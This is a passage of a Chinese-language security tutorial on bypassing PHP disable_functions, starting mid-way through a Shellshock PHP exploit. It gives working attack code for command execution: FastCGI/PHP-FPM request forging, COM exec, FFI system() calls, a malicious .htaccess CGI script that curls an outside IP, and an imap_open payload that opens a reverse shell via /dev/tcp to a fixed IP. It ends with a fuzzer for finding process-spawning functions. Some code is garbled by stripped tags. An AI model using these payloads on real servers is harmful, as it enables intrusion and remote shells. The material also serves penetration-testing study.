# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)# Google Dork: none# Date: 10/31/2014# Exploit Author: Ryan King (Starfall)# Vendor Homepage: http://php.net# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror# Version: 5.* (tested on 5.6.2)# Tested on: Debian 7 and CentOS 5 and 6# CVE: CVE-2014-6271$tmp 2>&1"); // In Safe Mode, the user may only alter environment variables whose names // begin with the prefixes supplied by this directive. // By default, users will only be able to set environment variables that // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive is empty, // PHP will let the user modify ANY environment variable! mail("[email protected]","","","","-bv"); // -bv so we don't actually send any mail } else return "Not vuln (not bash)"; $output = @file_get_contents($tmp); @unlink($tmp); if($output != "") return $output; else return "No output, or not vuln.";}echo shellshock($_REQUEST["cmd"]);?>
5. PHP-FPM/FastCGI bypass disable_functions
大家都知道。Web Server 只是负责分发数据,那如果 Nginx 遇到 php 动态请求该怎么处理,这时就需要了解 PHP-FPM 和 FastCGI 了
FastCGI 是用于将交互式程序与 Web 服务器接口的二进制协议。FastCGI 是早期的通用网关接口(CGI)的变体。
FastCGI 的主要目的是减少与Web服务器和 CGI 程序接口相关的开销,从而使服务器可以一次处理更多的网页请求。
PHP-FPM( FastCGI 进程管理器)是另一种 PHP FastCGI 实现,具有一些其他功能,可用于各种规模的站点,尤其是繁忙的站点。
PHP-FPM 也是用于调度管理 PHP 解析器php-cgi 的管理程序,php-cgi 作为 PHP 自带的解释器,只是个 CGI 程序,除了解析请求返回结果之外,并不能管理进程,也就无法做到修改 php.ini 配置文件后平滑重启
即 FastCGI 是 CGI 协议的升级版,用于封装 webserver 发送给 php 解释器的数据,通过 PHP-FPM 程序按照 FastCGI 协议进行处理和解析数据,返回结果给 webserver
PHP5.3 版本之后,PHP-FPM 是内置于 PHP 的,一般来说,尤其是在高并发的情况下,nginx + PHP-FPM 的组合要比 apache + mod_php 好很多
那么伪造请求发送给 PHP-FPM 不就可以任意代码执行
脚本:
https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
本地测试
python fpm.py -c '' -p 9999 127.0.0.1 /var/www/html/test.php
6. Windows 系统组件 COM
COM(Component Object Model)组件对象模型,是一种跨应用和语言共享二进制代码的方法。COM 可以作为 DLL 被本机程序载入也可以通过 DCOM 被远程进程调用
C:WindowsSystem32 下的 wshom.ocx 能够提供 WshShell 对象和 WshNetwork 对象接口的访问,也就是提供对本地 Windows shell 和计算机所连接的网络上共享资源的访问
php.ini 中开启 com.allow_dcom
com.allow_dcom = true
因为是在 Windows,如果在拓展文件夹 php/ext/ 中存在 php_com_dotnet.dll
到 php.ini 中开启拓展
extension=php_com_dotnet.dll
重启服务在 phpinfo 中就能看到开启了 com_dotnet
exec("cmd /c".$command); //调用对象方法来执行命令$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;?>
使用上面的 PHP 代码通过 COM 对象的 exec() 方法即可绕过 disable_functions 执行命令
7. PHP 5.2.3 win32std extension safe_mode and bypass disable_functions
这个貌似比较古老了 https://www.exploit-db.com/exploits/4218
exploit-db 上的 exp
8. FFI 绕过 disable_functions
PHP7.4 的一个新特性 FFI(Foreign Function Interface),即外部函数接口,可以让我们在 PHP 中调用 C 代码
建议在 Docker 中进行测试
apt-get install libffi-devdocker-php-ext-install ffi
通常使用 FFI::cdef 创建一个新的 FFI 对象,下面是官方说明
public static FFI::cdef ([ string $code = "" [, string $lib ]] ) : FFI
Parameters
code
A string containing a sequence of declarations in regular C language (types, structures, functions, variables, etc). Actually, this string may be > copy-pasted from C header files.
Note:
C preprocessor directives are not supported, i.e. #include, #define and CPP macros do not work.
lib
The name of a shared library file, to be loaded and linked with the definitions.
Note:
If lib is omitted, platforms supporting RTLD_DEFAULT attempt to lookup symbols declared in code in the normal global scope. Other systems will fail to > resolve these symbols.
那如何执行系统命令呢,使用 FFI::cdef 声明一个 system 函数使用就可以了, man system 查看 system 函数说明,直接复制就好
system("id");?>
成功执行
这里如果只定义 system 函数而省略 libc.so.6 同样也是可以执行命令的,支持 RTLD_DEFAULT 的平台将尝试在常规全局范围内查找在代码中声明的符号
当我们只能控制 FFI::cdef 函数的 lib 参数的时候,FFI::cdef 函数还可以加载我们自定义的动态链接库,但是需要填写绝对路径,否则会无法加载,比如
ffi.php
bad.c
#include __attribute__((constructor)) void j0k3r(){ system("echo Hacked && id");}
只要加载编译好的 bad.so 即可执行恶意代码
9. Apache mod_cgi 修改 .htaccess 绕过限制
有几个利用条件
- Apache 开启 AllowOverride
- 开启 cgi_module
- .htaccess 文件可写
- cgi 程序可执行
本地测试环境推荐使用 Docker,会比较最方便
docker pull bronsonbdevost/cgi-web-server
默认 cgi 目录在 /usr/local/apache2/cgi-bin,配置文件位于 /usr/local/apache2/conf/httpd.conf
默认没有 PHP,安装
apt-get install php5-common libapache2-mod-php5
安装 libsqlite3-0 404 的话可以到网站下载
https://packages.debian.org/zh-cn/jessie/amd64/libsqlite3-0/download
wget http://security.debian.org/debian-security/pool/updates/main/s/sqlite3/libsqlite3-0_3.8.7.1-1+deb8u4_amd64.debdpkg -i libsqlite3-0_3.8.7.1-1+deb8u4_amd64.deb
添加 php5 模块配置文件
cp /etc/apache2/mods-available/php5.conf.dpkg-new conf/extra/php5_module.conf
修改 httpd.conf
AddHandler php5-script phpLoadModule php5_module /usr/lib/apache2/modules/libphp5.soInclude conf/extra/php5_module.conf
重启 Apache
/usr/local/apache2/bin/apachectl restart
模拟写入恶意 .htaccess 文件,添加后缀 .sh
Options +ExecCGIAddHandler cgi-script .sh
上传 sh 文件,浏览器访问即可执行其中的命令
#!/bin/bashecho "Content-type: text/html"echo "Hello, Shell"curl 192.168.214.107:7777
10. 利用 PHP bug Bypass disable_functions
利用两个 PHP 历史漏洞来绕过 disable_functions
Exploits :
https://github.com/mm0r1/exploits
(1) Use after free with json serializer
https://bugs.php.net/bug.php?id=77843
- 适用目标:
- 7.1 – all versions to date
- 7.2 < 7.2.19 (released: 30 May 2019)
- 7.3 < 7.3.6 (released: 30 May 2019)
php-json-bypass
(2) Use After Free in GC with Certain Destructors
https://bugs.php.net/bug.php?id=72530
- 适用目标:
- 7.0 – all versions to date
- 7.1 – all versions to date
- 7.2 – all versions to date
- 7.3 – all versions to date
php7-gc-bypass
测试在 ubuntu16.04 + PHP 7.1.33 的环境下两个 exp 都是可以正常使用的,但如果是在 Docker 或者是其他环境下那就不一定了
11. PHP imap_open RCE 漏洞 (CVE-2018-19518)
要求 PHP 安装 imap 模块
反弹 shell payload:
& /dev/tcp/192.168.214.107/7777 0>&1";$base64 = base64_encode($payload);$server = "any -oProxyCommand=echot{$base64}|base64t-d|bash";@imap_open("{".$server."}:143/imap}INBOX","","");
一些利用工具
1.Bypass disable_functions 工具:
https://github.com/l3m0n/Bypass_Disable_functions_Shell
2.AntSword 绕过 PHP disable_functions 插件:
antsword bypass PHP disable_functions
3.Chankro:
https://github.com/TarlogicSecurity/Chankro
Fuzz 挖掘含内部系统调用的函数
主要是指使用 LD_PRELOAD 这种方式绕过 disable_functions 的时候,需要满足一个条件,就是使用的 php 函数需要在内部调用 execve 等系统功能开启一个新进程
那怎么知道到底哪些函数可以满足这种绕过方法呢,之前看到有一篇国外的文章 Fuzzer gets us new functions to bypass PHP disable_functions ,文中讲了如何使用 Fuzz 获得这一类 php 函数
大体思路就是尽可能多的安装 php 的各种模块,增加 php 内部定义的函数数量,然后确定每个函数所需要的参数个数范围,接着输入参数,运行函数,strace 查看是否有 execve 系统调用的行为发生
在获取函数的参数信息方面,使用的是 php 的函数反射类——ReflectionFunction,getNumberOfRequiredParameters() getNumberOfParameters() 方法分别获取函数的最小和最大参数个数,原文中直接使用报错信息判断参数个数未免不够优雅
参数数目确定了,接着就是数据类型,但是每个参数的类型都不一定相同
其实 ReflectionParameter 类的 getClass() 方法能获得类型提示类,getType() 直接获取参数类型,但是这个用在用户自定义函数的参数上还行,对于内部函数来说返回值都是 NULL,基本用不了。举个例子
如图,用户自定义函数 foo 能够通过反射直接获得一个 ReflectionNamedType类,getName() 得到参数类型,比较迷的是 php 官方文档上写的是 ReflectionType
具体见: PHP: ReflectionParameter – Manual这一页,而搜索 ReflectionNamedType 得到的却是 404,看来 php 在反射这方面的文档还没有完善
但是 php 作为一个弱类型语言这时候就凸显了它的优势,很多 php 函数本身就是 mixed 类型,而且 php 还会自动进行类型转换
像 ‘1../../../../../../../../../etc/passwd’ 这种参数就能同时满足 string、int、file、bool 四种类型,基本满足绝大部分函数了
感觉原文那代码处理的不太好,还有 bug,自己写了一个,加了个可以 fuzz 指定 php 模块的功能
比如安装了 gnupg 拓展,可以 Fuzz 该模块下的所有函数,方便测试
#coding: utf-8import osimport sysimport redef getAllDefinedFunc(): get_defined_function = os.popen("php -r 'print_r(get_defined_functions()["internal"]);'").readlines() #print get_defined_function b = get_defined_function[2:-1] b = map(str.strip, b) for i in range(len(b)): b[i] = re.sub(r'.*> ', '', b[i]) get_defined_function = b # all defined PHP functions get_defined_function.remove(get_defined_function[0]) get_defined_function.remove(get_defined_function[0]) get_defined_function.remove('readline') return get_defined_functiondef getModuleFunc(phpModuleName,getDefinedFunction): moduleFunc = [] for func in getDefinedFunction: getExtNameCmd = "php -r "echo (new ReflectionFunction('{}'))->getExtensionName();"".format(func) extName = os.popen(getExtNameCmd).readlines()[0] if extName == phpModuleName: moduleFunc.append(func) return moduleFuncdef fuzzFunc(getDefinedFunction): for func in getDefinedFunction: maxParaNumCmd = "php -r "echo (new ReflectionFunction('{}'))->getNumberOfParameters();"".format(func) minParaNumCmd = "php -r "echo (new ReflectionFunction('{}'))->getNumberOfRequiredParameters();"".format(func) maxParaNum = int(os.popen(maxParaNumCmd).readlines()[0]) minParaNum = int(os.popen(minParaNumCmd).readlines()[0]) print maxParaNum print minParaNum for paraNum in range(minParaNum,maxParaNum + 1): paraMeters = [''1../../../../../../../../../etc/passwd'' for i in range(paraNum)] paraMeters = ','.join(paraMeters) newPhpCmd = "php -r "{}({});"".format(func,paraMeters) print newPhpCmd newFuzzCmd = "strace -f {} 2>&1 | grep -E 'execve|fork|vfork'".format(newPhpCmd) print newFuzzCmd out = re.findall(r'execve', ''.join(os.popen(newFuzzCmd).readlines()[1:])) print out if len(out) >= 1: with open('fuzz-out.txt','a+') as file: file.write(newPhpCmd + "n") breakif __name__ == "__main__": if len(sys.argv) > 1: phpModuleName = sys.argv[1] getDefinedFunction = getAllDefinedFunc() moduleFunc = getModuleFunc(phpModuleName,getDefinedFunction) if len(moduleFunc) == 0: print ('没有找到与指定模块相关的函数,检查名称是否正确') else: #print moduleFunc fuzzFunc(moduleFunc) else: print ('fuzz all') getDefinedFunction = getAllDefinedFunc() fuzzFunc(getDefinedFunction)
Fuzz 测试结果:
单一模块 Fuzz 结果:
这种方式可以用于发现新的可用于 bypass 的函数,或者用来检测安全过滤够不够严格
Reference:
https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/
https://www.freebuf.com/articles/web/192052.html
https://www.cnblogs.com/leixiao-/p/10612798.html
https://blog.bi0s.in/2019/10/26/Web/bypass-disable-functions/
作:者:J0k3r
转载自:安全客